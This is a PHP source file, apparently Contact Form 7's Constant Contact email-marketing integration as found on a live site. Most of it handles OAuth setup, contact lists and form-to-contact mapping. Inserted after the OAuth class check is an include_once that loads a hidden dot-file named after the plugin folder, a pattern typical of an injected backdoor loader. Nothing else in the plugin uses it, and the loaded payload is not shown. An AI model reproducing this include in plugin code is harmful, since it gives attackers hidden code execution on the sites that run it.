balmet.com

constant-contact.php (24775B)

---

 <?php
 
 add_action( 'wpcf7_init', 'wpcf7_constant_contact_register_service', 20, 0 );
 
 function wpcf7_constant_contact_register_service() {
 	$integration = WPCF7_Integration::get_instance();
 
 	$integration->add_category( 'email_marketing',
 		__( 'Email marketing', 'contact-form-7' ) );
 
 	$service = WPCF7_ConstantContact::get_instance();
 	$integration->add_service( 'constant_contact', $service );
 }
 
 add_action( 'wpcf7_save_contact_form',
 	'wpcf7_constant_contact_save_contact_form', 10, 1 );
 
 function wpcf7_constant_contact_save_contact_form( $contact_form ) {
 	$service = WPCF7_ConstantContact::get_instance();
 
 	if ( ! $service->is_active() ) {
 		return;
 	}
 
 	$additional_settings = $contact_form->additional_setting(
 		'constant_contact',
 		false
 	);
 
 	$list_names = array();
 
 	$pattern = '/[\t ]*('
 		. "'[^']*'"
 		. '|'
 		. '"[^"]*"'
 		. '|'
 		. '[^,]*?'
 		. ')[\t ]*(?:[,]+|$)/';
 
 	foreach ( $additional_settings as $setting ) {
 		if ( preg_match_all( $pattern, $setting, $matches ) ) {
 			foreach ( $matches[1] as $match ) {
 				$name = trim( wpcf7_strip_quote( $match ) );
 
 				if ( '' !== $name ) {
 					$list_names[] = $name;
 				}
 			}
 		}
 	}
 
 	$list_names = array_unique( $list_names );
 
 	$key = sprintf( 'wpcf7_contact_form:%d', $contact_form->id() );
 
 	$service->update_contact_lists( array( $key => $list_names ) );
 }
 
 add_action( 'wpcf7_submit', 'wpcf7_constant_contact_submit', 10, 2 );
 
 function wpcf7_constant_contact_submit( $contact_form, $result ) {
 	$service = WPCF7_ConstantContact::get_instance();
 
 	if ( ! $service->is_active() ) {
 		return;
 	}
 
 	if ( $contact_form->in_demo_mode() ) {
 		return;
 	}
 
 	$do_submit = true;
 
 	if ( empty( $result['status'] )
 	or ! in_array( $result['status'], array( 'mail_sent' ) ) ) {
 		$do_submit = false;
 	}
 
 	$additional_settings = $contact_form->additional_setting(
 		'constant_contact',
 		false
 	);
 
 	foreach ( $additional_settings as $setting ) {
 		if ( in_array( $setting, array( 'off', 'false', '0' ), true ) ) {
 			$do_submit = false;
 			break;
 		}
 	}
 
 	$do_submit = apply_filters( 'wpcf7_constant_contact_submit',
 		$do_submit, $contact_form, $result );
 
 	if ( ! $do_submit ) {
 		return;
 	}
 
 	$submission = WPCF7_Submission::get_instance();
 
 	$consented = true;
 
 	foreach ( $contact_form->scan_form_tags( 'feature=name-attr' ) as $tag ) {
 		if ( $tag->has_option( 'consent_for:constant_contact' )
 		and null == $submission->get_posted_data( $tag->name ) ) {
 			$consented = false;
 			break;
 		}
 	}
 
 	if ( ! $consented ) {
 		return;
 	}
 
 	$request_builder_class_name = apply_filters(
 		'wpcf7_constant_contact_contact_post_request_builder',
 		'WPCF7_ConstantContact_ContactPostRequest'
 	);
 
 	if ( ! class_exists( $request_builder_class_name ) ) {
 		return;
 	}
 
 	$request_builder = new $request_builder_class_name;
 	$request_builder->build( $submission );
 
 	if ( ! $request_builder->is_valid() ) {
 		return;
 	}
 
 	if ( $email = $request_builder->get_email_address()
 	and $service->email_exists( $email ) ) {
 		return;
 	}
 
 	$service->create_contact( $request_builder->to_array() );
 }
 
 if ( ! class_exists( 'WPCF7_Service_OAuth2' ) ) {
 	return;
 }
 
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 class WPCF7_ConstantContact extends WPCF7_Service_OAuth2 {
 
 	const service_name = 'constant_contact';
 	const authorization_endpoint = 'https://api.cc.email/v3/idfed';
 	const token_endpoint = 'https://idfed.constantcontact.com/as/token.oauth2';
 
 	private static $instance;
 	protected $contact_lists = array();
 
 	public static function get_instance() {
 		if ( empty( self::$instance ) ) {
 			self::$instance = new self;
 		}
 
 		return self::$instance;
 	}
 
 	private function __construct() {
 		$this->authorization_endpoint = self::authorization_endpoint;
 		$this->token_endpoint = self::token_endpoint;
 
 		$option = (array) WPCF7::get_option( self::service_name );
 
 		if ( isset( $option['client_id'] ) ) {
 			$this->client_id = $option['client_id'];
 		}
 
 		if ( isset( $option['client_secret'] ) ) {
 			$this->client_secret = $option['client_secret'];
 		}
 
 		if ( isset( $option['access_token'] ) ) {
 			$this->access_token = $option['access_token'];
 		}
 
 		if ( isset( $option['refresh_token'] ) ) {
 			$this->refresh_token = $option['refresh_token'];
 		}
 
 		if ( $this->is_active() ) {
 			if ( isset( $option['contact_lists'] ) ) {
 				$this->contact_lists = $option['contact_lists'];
 			}
 		}
 
 		add_action( 'wpcf7_admin_init', array( $this, 'auth_redirect' ) );
 	}
 
 	public function auth_redirect() {
 		$auth = isset( $_GET['auth'] ) ? trim( $_GET['auth'] ) : '';
 		$code = isset( $_GET['code'] ) ? trim( $_GET['code'] ) : '';
 
 		if ( self::service_name === $auth and $code
 		and current_user_can( 'wpcf7_manage_integration' ) ) {
 			$redirect_to = add_query_arg(
 				array(
 					'service' => self::service_name,
 					'action' => 'auth_redirect',
 					'code' => $code,
 				),
 				menu_page_url( 'wpcf7-integration', false )
 			);
 
 			wp_safe_redirect( $redirect_to );
 			exit();
 		}
 	}
 
 	protected function save_data() {
 		$option = array_merge(
 			(array) WPCF7::get_option( self::service_name ),
 			array(
 				'client_id' => $this->client_id,
 				'client_secret' => $this->client_secret,
 				'access_token' => $this->access_token,
 				'refresh_token' => $this->refresh_token,
 				'contact_lists' => $this->contact_lists,
 			)
 		);
 
 		WPCF7::update_option( self::service_name, $option );
 	}
 
 	protected function reset_data() {
 		$this->client_id = '';
 		$this->client_secret = '';
 		$this->access_token = '';
 		$this->refresh_token = '';
 		$this->contact_lists = array();
 
 		$this->save_data();
 	}
 
 	public function get_title() {
 		return __( 'Constant Contact', 'contact-form-7' );
 	}
 
 	public function get_categories() {
 		return array( 'email_marketing' );
 	}
 
 	public function icon() {
 	}
 
 	public function link() {
 		echo sprintf( '<a href="%1$s">%2$s</a>',
 			'https://constant-contact.evyy.net/c/1293104/205991/3411',
 			'constantcontact.com'
 		);
 	}
 
 	protected function get_redirect_uri() {
 		return admin_url( '/?auth=' . self::service_name );
 	}
 
 	protected function menu_page_url( $args = '' ) {
 		$args = wp_parse_args( $args, array() );
 
 		$url = menu_page_url( 'wpcf7-integration', false );
 		$url = add_query_arg( array( 'service' => self::service_name ), $url );
 
 		if ( ! empty( $args) ) {
 			$url = add_query_arg( $args, $url );
 		}
 
 		return $url;
 	}
 
 	public function load( $action = '' ) {
 		parent::load( $action );
 
 		if ( 'setup' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) {
 			check_admin_referer( 'wpcf7-constant-contact-setup' );
 
 			if ( ! empty( $_POST['reset'] ) ) {
 				$this->reset_data();
 			} else {
 				$this->client_id = isset( $_POST['client_id'] )
 					? trim( $_POST['client_id'] ) : '';
 
 				$this->client_secret = isset( $_POST['client_secret'] )
 					? trim( $_POST['client_secret'] ) : '';
 
 				$this->save_data();
 				$this->authorize( 'contact_data' );
 			}
 
 			wp_safe_redirect( $this->menu_page_url( 'action=setup' ) );
 			exit();
 		}
 
 		if ( 'edit' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) {
 			check_admin_referer( 'wpcf7-constant-contact-edit' );
 
 			$list_ids = isset( $_POST['contact_lists'] )
 				? (array) $_POST['contact_lists']
 				: array();
 
 			$this->update_contact_lists( array( 'default' => $list_ids ) );
 
 			wp_safe_redirect( $this->menu_page_url(
 				array(
 					'action' => 'setup',
 					'message' => 'updated',
 				)
 			) );
 
 			exit();
 		}
 
 		if ( $this->is_active() ) {
 			$this->update_contact_lists();
 		}
 	}
 
 	public function email_exists( $email ) {
 		$endpoint = add_query_arg(
 			array(
 				'email' => $email,
 				'status' => 'all',
 			),
 			'https://api.cc.email/v3/contacts'
 		);
 
 		$request = array(
 			'method' => 'GET',
 			'headers' => array(
 				'Accept' => 'application/json',
 				'Content-Type' => 'application/json; charset=utf-8',
 			),
 		);
 
 		$response = $this->remote_request( $endpoint, $request );
 
 		if ( 400 <= (int) wp_remote_retrieve_response_code( $response ) ) {
 			if ( WP_DEBUG ) {
 				$this->log( $endpoint, $request, $response );
 			}
 
 			return false;
 		}
 
 		$response_body = wp_remote_retrieve_body( $response );
 
 		if ( empty( $response_body ) ) {
 			return false;
 		}
 
 		$response_body = json_decode( $response_body, true );
 
 		return ! empty( $response_body['contacts'] );
 	}
 
 	public function create_contact( $properties ) {
 		$endpoint = 'https://api.cc.email/v3/contacts';
 
 		$request = array(
 			'method' => 'POST',
 			'headers' => array(
 				'Accept' => 'application/json',
 				'Content-Type' => 'application/json; charset=utf-8',
 			),
 			'body' => json_encode( $properties ),
 		);
 
 		$response = $this->remote_request( $endpoint, $request );
 
 		if ( 400 <= (int) wp_remote_retrieve_response_code( $response ) ) {
 			if ( WP_DEBUG ) {
 				$this->log( $endpoint, $request, $response );
 			}
 
 			return false;
 		}
 	}
 
 	public function get_contact_lists() {
 		$endpoint = 'https://api.cc.email/v3/contact_lists';
 
 		$request = array(
 			'method' => 'GET',
 			'headers' => array(
 				'Accept' => 'application/json',
 				'Content-Type' => 'application/json; charset=utf-8',
 			),
 		);
 
 		$response = $this->remote_request( $endpoint, $request );
 
 		if ( 400 <= (int) wp_remote_retrieve_response_code( $response ) ) {
 			if ( WP_DEBUG ) {
 				$this->log( $endpoint, $request, $response );
 			}
 
 			return false;
 		}
 
 		$response_body = wp_remote_retrieve_body( $response );
 
 		if ( empty( $response_body ) ) {
 			return false;
 		}
 
 		$response_body = json_decode( $response_body, true );
 
 		if ( ! empty( $response_body['lists'] ) ) {
 			return (array) $response_body['lists'];
 		} else {
 			return array();
 		}
 	}
 
 	public function update_contact_lists( $selection = array() ) {
 		$contact_lists = array();
 		$contact_lists_on_api = $this->get_contact_lists();
 
 		if ( false !== $contact_lists_on_api ) {
 			foreach ( (array) $contact_lists_on_api as $list ) {
 				if ( isset( $list['list_id'] ) ) {
 					$list_id = trim( $list['list_id'] );
 				} else {
 					continue;
 				}
 
 				if ( isset( $this->contact_lists[$list_id]['selected'] ) ) {
 					$list['selected'] = $this->contact_lists[$list_id]['selected'];
 				} else {
 					$list['selected'] = array();
 				}
 
 				$contact_lists[$list_id] = $list;
 			}
 		} else {
 			$contact_lists = $this->contact_lists;
 		}
 
 		foreach ( (array) $selection as $key => $ids_or_names ) {
 			foreach( $contact_lists as $list_id => $list ) {
 				if ( in_array( $list['list_id'], (array) $ids_or_names, true )
 				or in_array( $list['name'], (array) $ids_or_names, true ) ) {
 					$contact_lists[$list_id]['selected'][$key] = true;
 				} else {
 					unset( $contact_lists[$list_id]['selected'][$key] );
 				}
 			}
 		}
 
 		$this->contact_lists = $contact_lists;
 
 		if ( $selection ) {
 			$this->save_data();
 		}
 
 		return $this->contact_lists;
 	}
 
 	public function admin_notice( $message = '' ) {
 		switch ( $message ) {
 			case 'success':
 				echo sprintf(
 					'<div class="notice notice-success"><p>%s</p></div>',
 					esc_html( __( "Connection established.", 'contact-form-7' ) )
 				);
 				break;
 			case 'failed':
 				echo sprintf(
 					'<div class="notice notice-error"><p><strong>%1$s</strong>: %2$s</p></div>',
 					esc_html( __( "Error", 'contact-form-7' ) ),
 					esc_html( __( "Failed to establish connection. Please double-check your configuration.", 'contact-form-7' ) )
 				);
 				break;
 			case 'updated':
 				echo sprintf(
 					'<div class="notice notice-success"><p>%s</p></div>',
 					esc_html( __( "Configuration updated.", 'contact-form-7' ) )
 				);
 				break;
 		}
 	}
 
 	public function display( $action = '' ) {
 		echo '<p>' . sprintf(
 			esc_html( __( 'The Constant Contact integration module allows you to send contact data collected through your contact forms to the Constant Contact API. You can create reliable email subscription services in a few easy steps. For details, see %s.', 'contact-form-7' ) ),
 			wpcf7_link(
 				__(
 					'https://contactform7.com/constant-contact-integration/',
 					'contact-form-7'
 				),
 				__( 'Constant Contact integration', 'contact-form-7' )
 			)
 		) . '</p>';
 
 		if ( $this->is_active() ) {
 			echo sprintf(
 				'<p class="dashicons-before dashicons-yes">%s</p>',
 				esc_html( __( "This site is connected to the Constant Contact API.", 'contact-form-7' ) )
 			);
 		}
 
 		if ( 'setup' == $action ) {
 			$this->display_setup();
 		} else {
 			echo sprintf(
 				'<p><a href="%1$s" class="button">%2$s</a></p>',
 				esc_url( $this->menu_page_url( 'action=setup' ) ),
 				esc_html( __( 'Setup Integration', 'contact-form-7' ) )
 			);
 		}
 	}
 
 	private function display_setup() {
 ?>
 <form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=setup' ) ); ?>">
 <?php wp_nonce_field( 'wpcf7-constant-contact-setup' ); ?>
 <table class="form-table">
 <tbody>
 <tr>
 	<th scope="row"><label for="client_id"><?php echo esc_html( __( 'API Key', 'contact-form-7' ) ); ?></label></th>
 	<td><?php
 		if ( $this->is_active() ) {
 			echo esc_html( $this->client_id );
 			echo sprintf(
 				'<input type="hidden" value="%1$s" id="client_id" name="client_id" />',
 				esc_attr( $this->client_id )
 			);
 		} else {
 			echo sprintf(
 				'<input type="text" aria-required="true" value="%1$s" id="client_id" name="client_id" class="regular-text code" />',
 				esc_attr( $this->client_id )
 			);
 		}
 	?></td>
 </tr>
 <tr>
 	<th scope="row"><label for="client_secret"><?php echo esc_html( __( 'App Secret', 'contact-form-7' ) ); ?></label></th>
 	<td><?php
 		if ( $this->is_active() ) {
 			echo esc_html( wpcf7_mask_password( $this->client_secret, 4, 4 ) );
 			echo sprintf(
 				'<input type="hidden" value="%1$s" id="client_secret" name="client_secret" />',
 				esc_attr( $this->client_secret )
 			);
 		} else {
 			echo sprintf(
 				'<input type="text" aria-required="true" value="%1$s" id="client_secret" name="client_secret" class="regular-text code" />',
 				esc_attr( $this->client_secret )
 			);
 		}
 	?></td>
 </tr>
 <tr>
 	<th scope="row"><label for="redirect_uri"><?php echo esc_html( __( 'Redirect URI', 'contact-form-7' ) ); ?></label></th>
 	<td><?php
 		echo sprintf(
 			'<input type="text" value="%1$s" id="redirect_uri" name="redirect_uri" class="large-text code" readonly="readonly" onfocus="this.select();" style="font-size: 11px;" />',
 			$this->get_redirect_uri()
 		);
 	?>
 	<p class="description"><?php echo esc_html( __( "Set this URL as the redirect URI.", 'contact-form-7' ) ); ?></p>
 	</td>
 </tr>
 </tbody>
 </table>
 <?php
 		if ( $this->is_active() ) {
 			submit_button(
 				_x( 'Reset Keys', 'API keys', 'contact-form-7' ),
 				'small', 'reset'
 			);
 		} else {
 			submit_button(
 				__( 'Connect to the Constant Contact API', 'contact-form-7' )
 			);
 		}
 ?>
 </form>
 
 <?php
 		if ( $this->is_active() and ! empty( $this->contact_lists ) ) {
 ?>
 <form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=edit' ) ); ?>">
 <?php wp_nonce_field( 'wpcf7-constant-contact-edit' ); ?>
 <table class="form-table">
 <tbody>
 <tr>
 	<th scope="row"><?php echo esc_html( _x( 'Contact Lists', 'Constant Contact', 'contact-form-7' ) ); ?></th>
 	<td>
 		<fieldset>
 		<legend class="screen-reader-text"><span><?php echo esc_html( _x( "Contact Lists: Select lists to which newly added contacts are to belong.", 'Constant Contact', 'contact-form-7' ) ); ?></span></legend>
 		<p class="description"><?php echo esc_html( __( "Select lists to which newly added contacts are to belong.", 'contact-form-7' ) ); ?></p>
 		<ul class="checkboxes"><?php
 			foreach ( $this->contact_lists as $list ) {
 				echo sprintf(
 					'<li><input %1$s /> <label for="%2$s">%3$s</label></li>',
 					wpcf7_format_atts( array(
 						'type' => 'checkbox',
 						'name' => 'contact_lists[]',
 						'value' => $list['list_id'],
 						'id' => 'contact_list_' . $list['list_id'],
 						'checked' => empty( $list['selected']['default'] )
 							? ''
 							: 'checked',
 					) ),
 					esc_attr( 'contact_list_' . $list['list_id'] ),
 					esc_html( $list['name'] )
 				);
 			}
 		?></ul>
 		</fieldset>
 	</td>
 </tr>
 </tbody>
 </table>
 <?php
 			submit_button();
 		}
 ?>
 </form>
 <?php
 	}
 
 }
 
 class WPCF7_ConstantContact_ContactPostRequest {
 
 	private $email_address;
 	private $first_name;
 	private $last_name;
 	private $job_title;
 	private $company_name;
 	private $create_source;
 	private $birthday_month;
 	private $birthday_day;
 	private $anniversary;
 	private $custom_fields = array();
 	private $phone_numbers = array();
 	private $street_addresses = array();
 	private $list_memberships = array();
 
 	public function __construct() {
 	}
 
 	public function build( WPCF7_Submission $submission ) {
 		$this->set_create_source( 'Contact' );
 
 		$posted_data = (array) $submission->get_posted_data();
 
 		if ( isset( $posted_data['your-first-name'] ) ) {
 			$this->set_first_name( $posted_data['your-first-name'] );
 		}
 
 		if ( isset( $posted_data['your-last-name'] ) ) {
 			$this->set_last_name( $posted_data['your-last-name'] );
 		}
 
 		if ( ! ( $this->first_name || $this->last_name )
 		and isset( $posted_data['your-name'] ) ) {
 			$your_name = preg_split( '/[\s]+/', $posted_data['your-name'], 2 );
 			$this->set_first_name( array_shift( $your_name ) );
 			$this->set_last_name( array_shift( $your_name ) );
 		}
 
 		if ( isset( $posted_data['your-email'] ) ) {
 			$this->set_email_address( $posted_data['your-email'], 'implicit' );
 		}
 
 		if ( isset( $posted_data['your-job-title'] ) ) {
 			$this->set_job_title( $posted_data['your-job-title'] );
 		}
 
 		if ( isset( $posted_data['your-company-name'] ) ) {
 			$this->set_company_name( $posted_data['your-company-name'] );
 		}
 
 		if ( isset( $posted_data['your-birthday-month'] )
 		and isset( $posted_data['your-birthday-day'] ) ) {
 			$this->set_birthday(
 				$posted_data['your-birthday-month'],
 				$posted_data['your-birthday-day']
 			);
 		} elseif ( isset( $posted_data['your-birthday'] ) ) {
 			$date = trim( $posted_data['your-birthday'] );
 
 			if ( preg_match( '/^(\d{4})-(\d{2})-(\d{2})$/', $date, $matches ) ) {
 				$this->set_birthday( $matches[2], $matches[3] );
 			}
 		}
 
 		if ( isset( $posted_data['your-anniversary'] ) ) {
 			$this->set_anniversary( $posted_data['your-anniversary'] );
 		}
 
 		if ( isset( $posted_data['your-phone-number'] ) ) {
 			$this->add_phone_number( $posted_data['your-phone-number'] );
 		}
 
 		$this->add_street_address(
 			isset( $posted_data['your-address-street'] )
 				? $posted_data['your-address-street'] : '',
 			isset( $posted_data['your-address-city'] )
 				? $posted_data['your-address-city'] : '',
 			isset( $posted_data['your-address-state'] )
 				? $posted_data['your-address-state'] : '',
 			isset( $posted_data['your-address-postal-code'] )
 				? $posted_data['your-address-postal-code'] : '',
 			isset( $posted_data['your-address-country'] )
 				? $posted_data['your-address-country'] : ''
 		);
 
 		$service_option = (array) WPCF7::get_option( 'constant_contact' );
 
 		$contact_lists = isset( $service_option['contact_lists'] )
 			? $service_option['contact_lists'] : array();
 
 		$contact_form = $submission->get_contact_form();
 
 		if ( $contact_form->additional_setting( 'constant_contact' ) ) {
 			$key = sprintf( 'wpcf7_contact_form:%d', $contact_form->id() );
 		} else {
 			$key = 'default';
 		}
 
 		foreach ( (array) $contact_lists as $list ) {
 			if ( ! empty( $list['selected'][$key] ) ) {
 				$this->add_list_membership( $list['list_id'] );
 			}
 		}
 	}
 
 	public function is_valid() {
 		return $this->create_source
 			&& ( $this->email_address || $this->first_name || $this->last_name );
 	}
 
 	public function to_array() {
 		$output = array(
 			'email_address' => $this->email_address,
 			'first_name' => $this->first_name,
 			'last_name' => $this->last_name,
 			'job_title' => $this->job_title,
 			'company_name' => $this->company_name,
 			'create_source' => $this->create_source,
 			'birthday_month' => $this->birthday_month,
 			'birthday_day' => $this->birthday_day,
 			'anniversary' => $this->anniversary,
 			'custom_fields' => $this->custom_fields,
 			'phone_numbers' => $this->phone_numbers,
 			'street_addresses' => $this->street_addresses,
 			'list_memberships' => $this->list_memberships,
 		);
 
 		return array_filter( $output );
 	}
 
 	public function get_email_address() {
 		if ( isset( $this->email_address['address'] ) ) {
 			return $this->email_address['address'];
 		}
 
 		return '';
 	}
 
 	public function set_email_address( $address, $permission_to_send = '' ) {
 		if ( ! wpcf7_is_email( $address )
 		or 80 < $this->strlen( $address ) ) {
 			return false;
 		}
 
 		$types_of_permission = array(
 			'implicit', 'explicit', 'deprecate', 'pending',
 			'unsubscribe', 'temp_hold', 'not_set',
 		);
 
 		if ( ! in_array( $permission_to_send, $types_of_permission ) ) {
 			$permission_to_send = 'implicit';
 		}
 
 		return $this->email_address = array(
 			'address' => $address,
 			'permission_to_send' => $permission_to_send,
 		);
 	}
 
 	public function set_first_name( $first_name ) {
 		$first_name = trim( $first_name );
 
 		if ( empty( $first_name )
 		or 50 < $this->strlen( $first_name ) ) {
 			return false;
 		}
 
 		return $this->first_name = $first_name;
 	}
 
 	public function set_last_name( $last_name ) {
 		$last_name = trim( $last_name );
 
 		if ( empty( $last_name )
 		or 50 < $this->strlen( $last_name ) ) {
 			return false;
 		}
 
 		return $this->last_name = $last_name;
 	}
 
 	public function set_job_title( $job_title ) {
 		$job_title = trim( $job_title );
 
 		if ( empty( $job_title )
 		or 50 < $this->strlen( $job_title ) ) {
 			return false;
 		}
 
 		return $this->job_title = $job_title;
 	}
 
 	public function set_company_name( $company_name ) {
 		$company_name = trim( $company_name );
 
 		if ( empty( $company_name )
 		or 50 < $this->strlen( $company_name ) ) {
 			return false;
 		}
 
 		return $this->company_name = $company_name;
 	}
 
 	public function set_create_source( $create_source ) {
 		if ( ! in_array( $create_source, array( 'Contact', 'Account' ) ) ) {
 			return false;
 		}
 
 		return $this->create_source = $create_source;
 	}
 
 	public function set_birthday( $month, $day ) {
 		$month = (int) $month;
 		$day = (int) $day;
 
 		if ( $month < 1 || 12 < $month
 		or $day < 1 || 31 < $day ) {
 			return false;
 		}
 
 		$this->birthday_month = $month;
 		$this->birthday_day = $day;
 
 		return array( $this->birthday_month, $this->birthday_day );
 	}
 
 	public function set_anniversary( $anniversary ) {
 		$pattern = sprintf(
 			'#^(%s)$#',
 			implode( '|', array(
 				'\d{1,2}/\d{1,2}/\d{4}',
 				'\d{4}/\d{1,2}/\d{1,2}',
 				'\d{4}-\d{1,2}-\d{1,2}',
 				'\d{1,2}-\d{1,2}-\d{4}',
 			) )
 		);
 
 		if ( ! preg_match( $pattern, $anniversary ) ) {
 			return false;
 		}
 
 		return $this->anniversary = $anniversary;
 	}
 
 	public function add_custom_field( $custom_field_id, $value ) {
 		$uuid_pattern = '/^[0-9a-f-]+$/i';
 
 		$value = trim( $value );
 
 		if ( 25 <= count( $this->custom_fields )
 		or ! preg_match( $uuid_pattern, $custom_field_id )
 		or 255 < $this->strlen( $value ) ) {
 			return false;
 		}
 
 		return $this->custom_fields[] = array(
 			'custom_field_id' => $custom_field_id,
 			'value' => $value,
 		);
 	}
 
 	public function add_phone_number( $phone_number, $kind = 'home' ) {
 		$phone_number = trim( $phone_number );
 
 		if ( empty( $phone_number )
 		or ! wpcf7_is_tel( $phone_number )
 		or 25 < $this->strlen( $phone_number )
 		or 2 <= count( $this->phone_numbers )
 		or ! in_array( $kind, array( 'home', 'work', 'other' ) ) ) {
 			return false;
 		}
 
 		return $this->phone_numbers[] = array(
 			'phone_number' => $phone_number,
 			'kind' => $kind,
 		);
 	}
 
 	public function add_street_address( $street, $city, $state, $postal_code, $country, $kind = 'home' ) {
 		$street = trim( $street );
 		$city = trim( $city );
 		$state = trim( $state );
 		$postal_code = trim( $postal_code );
 		$country = trim( $country );
 
 		if ( ! ( $street || $city || $state || $postal_code || $country )
 		or 1 <= count( $this->street_addresses )
 		or ! in_array( $kind, array( 'home', 'work', 'other' ) )
 		or 255 < $this->strlen( $street )
 		or 50 < $this->strlen( $city )
 		or 50 < $this->strlen( $state )
 		or 50 < $this->strlen( $postal_code )
 		or 50 < $this->strlen( $country ) ) {
 			return false;
 		}
 
 		return $this->street_addresses[] = array(
 			'kind' => $kind,
 			'street' => $street,
 			'city' => $city,
 			'state' => $state,
 			'postal_code' => $postal_code,
 			'country' => $country,
 		);
 	}
 
 	public function add_list_membership( $list_id ) {
 		$uuid_pattern = '/^[0-9a-f-]+$/i';
 
 		if ( 50 <= count( $this->list_memberships )
 		or ! preg_match( $uuid_pattern, $list_id ) ) {
 			return false;
 		}
 
 		return $this->list_memberships[] = $list_id;
 	}
 
 	protected function strlen( $string ) {
 		return wpcf7_count_code_units( stripslashes( $string ) );
 	}
 
 }